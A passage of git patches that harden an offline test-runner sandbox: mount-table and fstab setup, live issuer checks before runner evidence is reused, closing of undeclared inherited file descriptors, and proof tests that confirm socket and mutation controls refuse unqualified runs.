try:channel.sendall(b'{"refused":true}') except OSError:pass - finally:channel.close() + finally: + for fd in temporary:os.close(fd) + channel.close() finally: + for fd in held.values():os.close(fd) listener.close();os.close(owner) os._exit(0) diff --git a/tests/offline-runner.test.ts b/tests/offline-runner.test.ts index 4b8e6d2249..05edbdaa7c 100644 --- a/tests/offline-runner.test.ts +++ b/tests/offline-runner.test.ts @@ -51,12 +51,14 @@ test("offline policy has no stage roles, metadata channels or timing subtraction test("a fresh owned mount view is requalified instead of borrowing its parent record",async()=>{ // This fixed interpreter probe needs no workspace output descriptor. const lease=process.env.BRAIN_WORKSPACE_LEASE;delete process.env.BRAIN_WORKSPACE_LEASE; + for(let n=0;n<50;n++){ let child:Bun.Subprocess<"ignore","pipe","pipe">; try{child=Bun.spawn(["/usr/bin/unshare","--user","--map-current-user","--mount","--","/run/brain-test/entry","/usr/bin/python3","-I","-S","-c",'print("FRESH_OWNED_VIEW_REQUALIFIED")'],{stdin:"ignore",stdout:"pipe",stderr:"pipe"});} finally{if(lease!==undefined)process.env.BRAIN_WORKSPACE_LEASE=lease;} const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),new Response(child.stderr).text()]); - expect(code,err).toBe(0);expect(out).toBe("FRESH_OWNED_VIEW_REQUALIFIED\n"); -},watchdogMs(15000)); + expect(code,"FRESH_OWNED_VIEW_IDENTITY_QUALIFIES: "+err).toBe(0);expect(out).toBe("FRESH_OWNED_VIEW_REQUALIFIED\n"); + } +},watchdogMs(30000)); test("one signal reaches an inherited-boundary interpreter exactly once",async()=>{ const code='import signal,sys,time\ndef stop(*_):\n print("trapped",flush=True)\n time.sleep(.1)\n raise SystemExit(23)\nsignal.signal(signal.SIGTERM,stop)\nprint("ready",flush=True)\nwhile True:time.sleep(.01)'; From b1e7845d6083a19f60dc5571d7a17ac6c63d2d47 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 21:51:07 +0000 Subject: [PATCH 157/187] test: preserve private mount-table lookup and repeated lease-free probes --- scripts/offline-runner/rootless-files.json | 2 +- scripts/offline-runner/runner.py | 3 +++ tests/offline-runner.test.ts | 3 ++- 3 files changed, 6 insertions(+), 2 deletions(-) diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 4eca593cc9..2d3e6b572c 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1649,7 +1649,7 @@ "tests/native-pool-io.test.ts":{"sha256":"f928a2835f8fc954019e57ff21a2959c6609a4c2f72cc48c1297632757f14762","compatible":true}, "tests/native-prerequisites.test.ts":{"sha256":"5f808ad7a04c19bf97ad3f1cf2c58b476a07e8a95b6ba5431c1c3b098fc173a3","compatible":true}, "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, - "tests/offline-runner.test.ts":{"sha256":"f529c830e30a0f9fa235e2b6ce981a345d2e1bcd66dde2a5b39d41d2cffe359c","compatible":true}, + "tests/offline-runner.test.ts":{"sha256":"851c67d5a62f0a8f7743aa519cdc1aae56c7432fae60e8ce09fb9ac2b15de06b","compatible":true}, "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, "tests/offline-unit-identity.test.ts":{"sha256":"e4673d8218b9c0fda0da1027b0a1f8af2a873e260e94333b4f03f82261dc549c","compatible":true}, "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 2b59ecd87a..136358a630 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -262,6 +262,9 @@ def finish_view(backing, prepared, caller, profile, before): shutil.copyfile(source, view / 'etc' / name) if pathlib.Path('/etc/ssl/certs').exists(): bind('/etc/ssl/certs', view / 'etc/ssl/certs') + # util-linux resolves mounts through the admitted process's own procfs. + # Never copy the host's mount table into the private /etc. + (view / 'etc/mtab').symlink_to('/proc/self/mounts') os.chmod(view / 'etc/claude-code', 0o555) bind(view / 'etc', view / 'etc') mount('tmpfs', view / 'dev', 'tmpfs', MS_NOSUID, 'mode=0755') diff --git a/tests/offline-runner.test.ts b/tests/offline-runner.test.ts index 05edbdaa7c..802409840e 100644 --- a/tests/offline-runner.test.ts +++ b/tests/offline-runner.test.ts @@ -50,8 +50,9 @@ test("offline policy has no stage roles, metadata channels or timing subtraction test("a fresh owned mount view is requalified instead of borrowing its parent record",async()=>{ // This fixed interpreter probe needs no workspace output descriptor. - const lease=process.env.BRAIN_WORKSPACE_LEASE;delete process.env.BRAIN_WORKSPACE_LEASE; + const lease=process.env.BRAIN_WORKSPACE_LEASE; for(let n=0;n<50;n++){ + delete process.env.BRAIN_WORKSPACE_LEASE; let child:Bun.Subprocess<"ignore","pipe","pipe">; try{child=Bun.spawn(["/usr/bin/unshare","--user","--map-current-user","--mount","--","/run/brain-test/entry","/usr/bin/python3","-I","-S","-c",'print("FRESH_OWNED_VIEW_REQUALIFIED")'],{stdin:"ignore",stdout:"pipe",stderr:"pipe"});} finally{if(lease!==undefined)process.env.BRAIN_WORKSPACE_LEASE=lease;} From 6b5836cf3397ff143e43808934fbb5b3ed9d95cb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 22:00:16 +0000 Subject: [PATCH 158/187] test: challenge the finalized runner issuer before reusing evidence --- scripts/offline-runner/qualification.ts | 7 ++++--- scripts/offline-runner/runner.py | 17 ++++++++--------- 2 files changed, 12 insertions(+), 12 deletions(-) diff --git a/scripts/offline-runner/qualification.ts b/scripts/offline-runner/qualification.ts index 1b24fe7683..4c3cc69541 100644 --- a/scripts/offline-runner/qualification.ts +++ b/scripts/offline-runner/qualification.ts @@ -2,25 +2,26 @@ import {createHash} from "node:crypto"; import {readFileSync,lstatSync,statSync} from "node:fs"; export const OFFLINE_SETUP_REFUSAL="offline native isolation unavailable: setup failed"; +let issuerChallenged=false; const recordPath="/run/brain-test/record.json"; type RecordView={root:string;version:1;profile:"root"|"rootless";namespaces:Record;mountHash:string;ownerPid:number;ownerStart:string;identity:{uid:number;gid:number;groups:number[]}}; export function requireOfflineRunner():RecordView { try{ const info=lstatSync(recordPath);if(!info.isFile()||(info.mode&0o777)!==0o444||info.nlink!==1)throw Error("record"); let record=JSON.parse(readFileSync(recordPath,"utf8")) as RecordView; - if(record.version!==1||!["root","rootless"].includes(record.profile)||!Number.isSafeInteger(record.ownerPid)||!/^\d+$/.test(record.ownerStart)||!/^[a-f0-9]{64}$/.test(record.mountHash))throw Error("schema"); + if(record.ownerPid!==1||readFileSync("/proc/1/comm","utf8").trim()!=="brain-test-init"||record.version!==1||!["root","rootless"].includes(record.profile)||!Number.isSafeInteger(record.ownerPid)||!/^\d+$/.test(record.ownerStart)||!/^[a-f0-9]{64}$/.test(record.mountHash))throw Error("schema"); const owner=readFileSync(`/proc/${record.ownerPid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]; const issuer=readFileSync(`/proc/${record.ownerPid}/cmdline`,"utf8").split("\0"); if(owner!==record.ownerStart||issuer[1]!=="-I"||issuer[2]!=="-S"||![`${record.root}/scripts/offline-runner/runner.py`,"/usr/local/libexec/brain-test/runner.py"].includes(issuer[3]!))throw Error("issuer"); const current=()=>["net","mnt","ipc","pid","user"].every(key=>String(statSync(`/proc/self/ns/${key}`).ino)===record.namespaces[key]?.match(/\[(\d+)\]/)?.[1]); const fingerprint=()=>createHash("sha256").update(readFileSync("/proc/self/mountinfo")).digest("hex"); const identity=()=>process.getuid!()===record.identity.uid&&process.getgid!()===record.identity.gid&&JSON.stringify(process.getgroups!())===JSON.stringify(record.identity.groups); - if(!current()||fingerprint()!==record.mountHash||!identity()){ + if(!issuerChallenged||!current()||fingerprint()!==record.mountHash||!identity()){ const response=selectionSpawnSync(["/usr/bin/python3","-I","-S","/run/brain-test/view_client.py"],{stdin:"ignore",stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin"}}); if(response.exitCode!==0)throw Error("namespace qualification refused"); const qualified=JSON.parse(response.stdout.toString()) as RecordView; if(qualified.version!==record.version||qualified.profile!==record.profile||qualified.ownerPid!==record.ownerPid||qualified.ownerStart!==record.ownerStart)throw Error("namespace issuer changed"); - record=qualified; + record=qualified;issuerChallenged=true; if(!current()||fingerprint()!==record.mountHash||!identity())throw Error("qualified view changed"); } const status=readFileSync("/proc/self/status","utf8"); diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 136358a630..fe255254a5 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -360,6 +360,7 @@ def finish_view(backing, prepared, caller, profile, before): for name in ('unit-workers.ts','unit-prepared-tree.ts','unit-worker-entry.sh'): fixed=ROOT/'scripts'/name bind(fixed,fixed) + syscall(LIBC.prctl(15,ctypes.c_char_p(b'brain-test-init'),0,0,0),'finalized init identity') record['mountHash'] = mount_hash() evidence.write(json.dumps(record)) evidence.flush() @@ -648,22 +649,20 @@ def borrowed_view(): if not path.exists(): return None info = path.lstat() record = json.loads(path.read_text()) - if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o777 != 0o444 or record['version'] != 1: + if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o777 != 0o444 or record['version'] != 1 or record['ownerPid']!=1 or pathlib.Path('/proc/1/comm').read_text().strip()!='brain-test-init': raise OSError(errno.EPERM, 'borrowed record') - changed = record['namespaces'] != namespaces() or record['mountHash'] != mount_hash() if start(record['ownerPid']) != record['ownerStart']: raise OSError(errno.ESRCH, 'borrowed owner') issuer = pathlib.Path('/proc/%d/cmdline' % record['ownerPid']).read_bytes().split(b'\0') expected = (os.fsencode(TOOL_ROOT / 'scripts/offline-runner/runner.py'), b'/usr/local/libexec/brain-test/runner.py') if len(issuer) < 5 or issuer[1:3] != [b'-I', b'-S'] or issuer[3] not in expected: raise OSError(errno.EPERM, 'borrowed issuer') - expected = record['identity'] - changed = changed or (os.getuid(), os.getgid(), os.getgroups()) != (expected['uid'], expected['gid'], expected['groups']) - if changed: - spec=importlib.util.spec_from_file_location('view_client','/run/brain-test/view_client.py') - client=importlib.util.module_from_spec(spec);spec.loader.exec_module(client) - record=client.request(record) - if record['namespaces']!=namespaces() or record['mountHash']!=mount_hash():raise OSError(errno.EPERM,'qualified view changed') + # Every static entry challenges the live issuer, even in the original + # view. A matching JSON marker alone never issues qualification. + spec=importlib.util.spec_from_file_location('view_client','/run/brain-test/view_client.py') + client=importlib.util.module_from_spec(spec);spec.loader.exec_module(client) + record=client.request(record) + if record['namespaces']!=namespaces() or record['mountHash']!=mount_hash():raise OSError(errno.EPERM,'qualified view changed') status = pathlib.Path('/proc/self/status').read_text() for field in ('CapEff', 'CapPrm', 'CapInh', 'CapAmb'): value = next(line.split()[1] for line in status.splitlines() if line.startswith(field + ':')) From 956e91069f8a7abb01572505a50a09ed9f1d440a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 22:11:08 +0000 Subject: [PATCH 159/187] test: provide an empty private fstab for namespace mount cleanup --- scripts/offline-runner/runner.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index fe255254a5..72b4160ea4 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -265,6 +265,10 @@ def finish_view(backing, prepared, caller, profile, before): # util-linux resolves mounts through the admitted process's own procfs. # Never copy the host's mount table into the private /etc. (view / 'etc/mtab').symlink_to('/proc/self/mounts') + # An absent fstab returns ENOENT before util-linux can use its ordinary + # capability fallback for mounts created in an owned user namespace. + (view / 'etc/fstab').write_text('') + os.chmod(view / 'etc/fstab',0o444) os.chmod(view / 'etc/claude-code', 0o555) bind(view / 'etc', view / 'etc') mount('tmpfs', view / 'dev', 'tmpfs', MS_NOSUID, 'mode=0755') From 5ea363b9176b956b622ea08d39f1e22847687586 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 22:32:58 +0000 Subject: [PATCH 160/187] test: retain the fixed issuer refusal for forged runner evidence --- scripts/offline-runner/runner.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 72b4160ea4..fab711f352 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -653,13 +653,13 @@ def borrowed_view(): if not path.exists(): return None info = path.lstat() record = json.loads(path.read_text()) - if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o777 != 0o444 or record['version'] != 1 or record['ownerPid']!=1 or pathlib.Path('/proc/1/comm').read_text().strip()!='brain-test-init': + if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o777 != 0o444 or record['version'] != 1: raise OSError(errno.EPERM, 'borrowed record') if start(record['ownerPid']) != record['ownerStart']: raise OSError(errno.ESRCH, 'borrowed owner') issuer = pathlib.Path('/proc/%d/cmdline' % record['ownerPid']).read_bytes().split(b'\0') expected = (os.fsencode(TOOL_ROOT / 'scripts/offline-runner/runner.py'), b'/usr/local/libexec/brain-test/runner.py') - if len(issuer) < 5 or issuer[1:3] != [b'-I', b'-S'] or issuer[3] not in expected: + if record['ownerPid']!=1 or pathlib.Path('/proc/1/comm').read_text().strip()!='brain-test-init' or len(issuer) < 5 or issuer[1:3] != [b'-I', b'-S'] or issuer[3] not in expected: raise OSError(errno.EPERM, 'borrowed issuer') # Every static entry challenges the live issuer, even in the original # view. A matching JSON marker alone never issues qualification. From 6a3f287e7dcb64f9ab30386f07e6235fef96f023 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 23:04:09 +0000 Subject: [PATCH 161/187] test: preserve fixture pipes and inert template inputs in offline runs --- scripts/offline-runner/runner.py | 4 +++- tests/local-checks.test.ts | 6 +++++- tests/release-manifest.test.ts | 2 +- 3 files changed, 9 insertions(+), 3 deletions(-) diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index fab711f352..59a171e098 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -178,7 +178,9 @@ def ignore(folder,names): denied=[] for name in names: relative=pathlib.PurePosixPath(pathlib.Path(folder).relative_to(source),name) - if name=='.git' or name=='.env' or name.startswith('.env.') or relative==pathlib.PurePosixPath('tmp'): + # .env.example is inert published documentation, not a Bun + # startup input. Preserve its exact template file-list proof. + if name=='.git' or name=='.env' or (name.startswith('.env.') and name!='.env.example') or relative==pathlib.PurePosixPath('tmp'): denied.append(name);continue dependency=any(relative==base or base in relative.parents for base in inputs) if dependency and '.cache' not in relative.parts:continue diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index cb569c448d..743f078888 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -8,6 +8,7 @@ import { DEFAULT_ROOTS, testArgv } from "../scripts/test"; import { planChecks, workspaces } from "../scripts/ci-plan"; import { discoverTests } from "../scripts/test-shards"; import { localUnitWorkerCount } from "../scripts/unit-workers"; +import { spawnEntry } from "../scripts/offline-runner/pipes"; const dirs: string[] = []; afterEach(() => { for (const dir of dirs.splice(0)) rmSync(dir, { recursive: true, force: true }); }); @@ -453,7 +454,10 @@ function importFixture() { // copied wrapper must install its own preload, as in an ordinary shell. const runtime = join(dir, "probe-runtime"); if (!existsSync(runtime)) symlinkSync(process.execPath, runtime); - const child = Bun.spawn([runtime, ...command.argv.slice(1)], { cwd: dir, stdout: "pipe", stderr: "pipe" }); + // Keep the alias unrecognized, but provide real OS pipes: its package + // script enters the static bootstrap, which must reject socket stdio. + const child = spawnEntry(Bun.spawn, Bun, false, [runtime, ...command.argv.slice(1)], + { cwd: dir, stdout: "pipe", stderr: "pipe" }) as ReturnType; const [stdout, stderr, code] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); return { code, output: stdout + stderr }; } diff --git a/tests/release-manifest.test.ts b/tests/release-manifest.test.ts index 37d87ef166..2570de02ac 100644 --- a/tests/release-manifest.test.ts +++ b/tests/release-manifest.test.ts @@ -632,7 +632,7 @@ describe("the experiment tier gates publication", () => { test("the root manifest runs the complete tier with a dedicated command", () => { const root = JSON.parse(readFileSync(join(ROOT, "package.json"), "utf8")) as Manifest; - expect(root.scripts?.["test:experiments"]).toBe("bun scripts/test-experiments.ts"); + expect(root.scripts?.["test:experiments"]).toBe(".test-tools/entry bun scripts/test-experiments.ts"); // CI selection never runs it: hosted proof and check:pr reach tests only // through `bun run test` and scripts/ci-proof.ts's product roots. expect(CI_YML).not.toContain("test:experiments"); From 4475ee0ee9ba6b284418114fabcb2bc75f865bf9 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 23:05:22 +0000 Subject: [PATCH 162/187] test: refresh qualified rootless files after fixture corrections --- scripts/offline-runner/rootless-files.json | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 2d3e6b572c..19ab432eff 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1631,7 +1631,7 @@ "tests/labels.test.ts":{"sha256":"8e81aa508393cca674793fc1df63cce3a0fff64eb018b37158f03c6d82569374","compatible":true}, "tests/layer-direction-gate.test.ts":{"sha256":"85b257fdb3b6883288dc672997c61075a092e18ecb6022c510892a06fdcb1c98","compatible":true}, "tests/leakage-gate.test.ts":{"sha256":"b4f54933b550c0fcd5d5d5310351ff21ba55a6b1728bce25fd51a051be5eb7eb","compatible":true}, - "tests/local-checks.test.ts":{"sha256":"26867384cba334810398d8fdee693d1d6d8080346f6f8099629e2ed5919f49bd","compatible":true}, + "tests/local-checks.test.ts":{"sha256":"786cdf398473d669150eacd2d95d4de0871cd23bc469015999ae5153b6d7dec4","compatible":true}, "tests/lockfile.test.ts":{"sha256":"bd70d6035c084cd95698994a78d88de19f568cddac39eb6f7a94609c2f78a254","compatible":true}, "tests/manual-only-skills.test.ts":{"sha256":"345570fd4402d12f057385a3eb8824b8a610538fc7f06bda534417d872fabe71","compatible":true}, "tests/markdown-anchors.test.ts":{"sha256":"358a81886d4ff6bef29f840ac14dad8ede797190cc27e88353144b68f75b257b","compatible":true}, @@ -1681,7 +1681,7 @@ "tests/reference-worktree-allocation.test.ts":{"sha256":"3089811e578ced594e7e3335a873016421179245d111bb46095edc7ac32a20ac","compatible":true}, "tests/refresh-browser-costs.test.ts":{"sha256":"f42016e6dc7dd409c5a32132443e0c8b4980fa049e44f912fc92cb771a6660f4","compatible":true}, "tests/refresh-unit-costs.test.ts":{"sha256":"7087b46e71787ecc477f2221016e0d135292195adeeae48f097bb23279c17d4f","compatible":true}, - "tests/release-manifest.test.ts":{"sha256":"f5c00c3ca7e608135c96d686faafe0421c113eff7c22aa1923e530aa639d7ccc","compatible":true}, + "tests/release-manifest.test.ts":{"sha256":"9823dbee62b4f2e5b7a60af0b5f9e6352675f047fab749b3f4b08000e8f395b5","compatible":true}, "tests/release-resume.test.ts":{"sha256":"a67ee95dc001482ee7b69cd576238d4bc2905658c0656c2e549da13a7569a63b","compatible":true}, "tests/request-replay-lifecycle.test.ts":{"sha256":"24eedacc3e409fefa24a64dd42360bc847b1e2d89244b9f80b453e3e5e6d1c78","compatible":true}, "tests/reverse-geocode-env.test.ts":{"sha256":"da1720d2e5368fb717a6803e84aaf87eb9fba10c41015694f57fec6ee20341eb","compatible":true}, From d98b7006b9d442f98370e8a3c1c4ad694dbf2a6d Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 23:06:07 +0000 Subject: [PATCH 163/187] test: retain concrete stream types for fixture entry pipes --- scripts/offline-runner/rootless-files.json | 2 +- tests/local-checks.test.ts | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index 19ab432eff..dc0af43dcb 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1631,7 +1631,7 @@ "tests/labels.test.ts":{"sha256":"8e81aa508393cca674793fc1df63cce3a0fff64eb018b37158f03c6d82569374","compatible":true}, "tests/layer-direction-gate.test.ts":{"sha256":"85b257fdb3b6883288dc672997c61075a092e18ecb6022c510892a06fdcb1c98","compatible":true}, "tests/leakage-gate.test.ts":{"sha256":"b4f54933b550c0fcd5d5d5310351ff21ba55a6b1728bce25fd51a051be5eb7eb","compatible":true}, - "tests/local-checks.test.ts":{"sha256":"786cdf398473d669150eacd2d95d4de0871cd23bc469015999ae5153b6d7dec4","compatible":true}, + "tests/local-checks.test.ts":{"sha256":"c4e1b2913e88b3b515f9c6be3e0803e512df4956994df0ebf030fe809baf2706","compatible":true}, "tests/lockfile.test.ts":{"sha256":"bd70d6035c084cd95698994a78d88de19f568cddac39eb6f7a94609c2f78a254","compatible":true}, "tests/manual-only-skills.test.ts":{"sha256":"345570fd4402d12f057385a3eb8824b8a610538fc7f06bda534417d872fabe71","compatible":true}, "tests/markdown-anchors.test.ts":{"sha256":"358a81886d4ff6bef29f840ac14dad8ede797190cc27e88353144b68f75b257b","compatible":true}, diff --git a/tests/local-checks.test.ts b/tests/local-checks.test.ts index 743f078888..e8e7fa565b 100644 --- a/tests/local-checks.test.ts +++ b/tests/local-checks.test.ts @@ -457,7 +457,7 @@ function importFixture() { // Keep the alias unrecognized, but provide real OS pipes: its package // script enters the static bootstrap, which must reject socket stdio. const child = spawnEntry(Bun.spawn, Bun, false, [runtime, ...command.argv.slice(1)], - { cwd: dir, stdout: "pipe", stderr: "pipe" }) as ReturnType; + { cwd: dir, stdin: "ignore", stdout: "pipe", stderr: "pipe" }) as Bun.Subprocess<"ignore", "pipe", "pipe">; const [stdout, stderr, code] = await Promise.all([new Response(child.stdout).text(), new Response(child.stderr).text(), child.exited]); return { code, output: stdout + stderr }; } From 9ceb59c41073bb3f21cc0055e813b2814c3a4096 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 23:18:38 +0000 Subject: [PATCH 164/187] test: close undeclared inherited descriptors before qualification --- scripts/offline-runner/bootstrap.c | 23 +++++++++++-- scripts/offline-runner/proof.py | 54 ++++++++++++++++++++++++++---- 2 files changed, 68 insertions(+), 9 deletions(-) diff --git a/scripts/offline-runner/bootstrap.c b/scripts/offline-runner/bootstrap.c index 2e1a698900..f5771c9b48 100644 --- a/scripts/offline-runner/bootstrap.c +++ b/scripts/offline-runner/bootstrap.c @@ -61,6 +61,16 @@ static int number(const char *json,const char *key,unsigned long long *value){ char pattern[128];snprintf(pattern,sizeof(pattern),"\"%s\":",key);const char *at=strstr(json,pattern);if(!at)return 0;at+=strlen(pattern);while(*at==' ')at++;if(*at=='\"')at++; char *end;errno=0;*value=strtoull(at,&end,10);if(errno||at==end)return 0;return *end==','||*end=='}'||*end=='\"'; } +static int declared_channel(int fd){ + const char *keys[]={"BRAIN_WORKSPACE_LEASE","BRAIN_NATIVE_RECEIPT",NULL}; + for(int i=0;keys[i];i++){ + const char *token=getenv(keys[i]);unsigned long long held; + if(token&&number(token,"fd",&held)&&held==(unsigned long long)fd)return 1; + } + const char *node=getenv("NODE_CHANNEL_FD"); + if(node){char *end;errno=0;long held=strtol(node,&end,10);if(!errno&&end!=node&&!*end&&held==fd)return 1;} + return 0; +} static int harness_file(int fd,const struct stat *st){ const char *keys[]={"BRAIN_WORKSPACE_LEASE","BRAIN_NATIVE_RECEIPT",NULL}; if(!S_ISREG(st->st_mode)||st->st_uid!=getuid()||st->st_nlink!=1)return 0; @@ -91,8 +101,8 @@ static int descriptor(int fd) { if(S_ISSOCK(st.st_mode)){if(anchor_channel(fd))return 0;errno=EPERM;return -1;} if(fd<3&&(S_ISREG(st.st_mode)||S_ISFIFO(st.st_mode)||isatty(fd)))return 0; if(fd<3&&S_ISCHR(st.st_mode)){struct stat null;if(!stat("/dev/null",&null)&&st.st_rdev==null.st_rdev)return 0;} - /* Higher descriptors need a separately validated harness handoff; none is - * accepted merely because its fd number or env name looks familiar. */ + /* Only declared channels can reach this check for a higher descriptor. + * Undeclared descriptors are closed, regardless of their transport type. */ if(fd>=3){if(harness_file(fd,&st))return 0;errno=EPERM;return -1;}errno=EPERM;return -1; } int main(int argc,char **argv) { @@ -114,7 +124,14 @@ int main(int argc,char **argv) { for(int fd=0;fd<3;fd++)if(descriptor(fd))return fail("stdio"); DIR *dir=opendir("/proc/self/fd");if(!dir)return fail("descriptor-inventory"); int inventory=dirfd(dir);struct dirent *entry; - while((entry=readdir(dir))){char *end;long fd=strtol(entry->d_name,&end,10);if(*end||fd<3||fd==inventory)continue;if(descriptor((int)fd)){char stage[96];struct stat rejected;int kind=fstat((int)fd,&rejected)?0:(int)(rejected.st_mode&S_IFMT);snprintf(stage,sizeof(stage),"inherited-descriptor-%ld-type-%o",fd,kind);closedir(dir);return fail(stage);}} + while((entry=readdir(dir))){ + char *end;long fd=strtol(entry->d_name,&end,10);if(*end||fd<3||fd==inventory)continue; + if(!declared_channel((int)fd)){ + if(close((int)fd)&&errno!=EBADF){closedir(dir);return fail("inherited-descriptor-close");} + continue; + } + if(descriptor((int)fd)){char stage[96];struct stat rejected;int kind=fstat((int)fd,&rejected)?0:(int)(rejected.st_mode&S_IFMT);snprintf(stage,sizeof(stage),"inherited-descriptor-%ld-type-%o",fd,kind);closedir(dir);return fail(stage);} + } closedir(dir); int begin=1;if(argc>1&&!strcmp(argv[1],"--"))begin++; const char *base=strrchr(argv[0],'/');base=base?base+1:argv[0]; diff --git a/scripts/offline-runner/proof.py b/scripts/offline-runner/proof.py index 418cddf0ae..e5df625439 100644 --- a/scripts/offline-runner/proof.py +++ b/scripts/offline-runner/proof.py @@ -153,19 +153,59 @@ def loader_and_denied_startup(): def descriptor_controls(): + import fcntl with tempfile.TemporaryDirectory(prefix='odysseus-fd-proof-') as directory: - marker=pathlib.Path(directory)/'payload-started' command=[str(ENTRY),'/usr/bin/python3','-I','-S','-c','print("F5_UNQUALIFIED_PAYLOAD_STARTED")'] first,second=socket.socketpair() + def closed_control(fd,name): + # Reproduce Actions' high descriptor, avoiding incidental low-fd + # reuse by the interpreter or the namespace qualifier. + high=fcntl.fcntl(fd,fcntl.F_DUPFD_CLOEXEC,142) + body='import os,errno;\ntry: os.fstat('+str(high)+')\nexcept OSError as error: assert error.errno==errno.EBADF\nelse: raise AssertionError("INHERITED_FD_STILL_OPEN")\nprint("F5_CLOSED_DESCRIPTOR_PAYLOAD_RAN")' + try: + result=subprocess.run([*command[:-1],body],pass_fds=(high,),capture_output=True,timeout=180) + named(result.returncode==0 and b'F5_CLOSED_DESCRIPTOR_PAYLOAD_RAN' in result.stdout,name+': '+result.stderr.decode(errors='replace')[-1000:]) + print(json.dumps({'proof':name,'result':'pass','fd':high}),flush=True) + finally:os.close(high) try: - for where in ('stdin','higher'): - kwargs={'stdin':second} if where=='stdin' else {'pass_fds':(second.fileno(),)} - result=subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE,**kwargs) - named(result.returncode==125 and b'F5_UNQUALIFIED_PAYLOAD_STARTED' not in result.stdout and not marker.exists(),'CONNECTED_'+where.upper()+'_FD_REFUSES_BEFORE_QUALIFICATION') - print(json.dumps({'proof':'F5_CONNECTED_STDIO_AND_HIGHER_DESCRIPTOR','result':'pass'})) + result=subprocess.run(command,stdin=second,stdout=subprocess.PIPE,stderr=subprocess.PIPE) + named(result.returncode==125 and b'F5_UNQUALIFIED_PAYLOAD_STARTED' not in result.stdout,'F5_CONNECTED_STDIN_REFUSES_BEFORE_QUALIFICATION') + print(json.dumps({'proof':'F5_CONNECTED_STDIN_REFUSES_BEFORE_QUALIFICATION','result':'pass'}),flush=True) + info=os.fstat(second.fileno()) + token={'fd':second.fileno(),'dev':str(info.st_dev),'ino':str(info.st_ino)} + result=subprocess.run(command,pass_fds=(second.fileno(),),env={**os.environ,'BRAIN_NATIVE_RECEIPT':json.dumps(token)},capture_output=True) + named(result.returncode==125 and b'F5_UNQUALIFIED_PAYLOAD_STARTED' not in result.stdout,'F5_DECLARED_SOCKET_CHANNEL_REFUSES') + print(json.dumps({'proof':'F5_DECLARED_SOCKET_CHANNEL_REFUSES','result':'pass'}),flush=True) + closed_control(second.fileno(),'F5_HIGHER_SOCKET_CLOSED_AND_RUN_PROCEEDS') + fifo=pathlib.Path(directory)/'runner-fifo';os.mkfifo(fifo) + fd=os.open(fifo,os.O_RDWR|os.O_NONBLOCK) + try:closed_control(fd,'F5_HIGHER_FIFO_CLOSED_AND_RUN_PROCEEDS') + finally:os.close(fd) + read,write=os.pipe() + try:closed_control(read,'F5_HIGHER_PIPE_CLOSED_AND_RUN_PROCEEDS') + finally:os.close(read);os.close(write) finally:first.close();second.close() +def descriptor_mutation(): + path=ROOT/'scripts/offline-runner/bootstrap.c';original=path.read_text() + before='if(close((int)fd)&&errno!=EBADF)' + named(before in original,'F5_CLOSE_MUTATION_SOURCE') + bun=(ROOT/'.test-tools/bun-path').read_text().strip() + def compile_entry(): + subprocess.run(['/usr/bin/cc','-static','-O2','-Wall','-Wextra','-Werror','-DBRAIN_TEST_ROOT="'+str(ROOT)+'"','-DBRAIN_TEST_BUN="'+bun+'"',str(path),'-o',str(ENTRY)],check=True) + try: + path.write_text(original.replace(before,'if(0)',1));compile_entry() + try:descriptor_controls() + except AssertionError as error: + 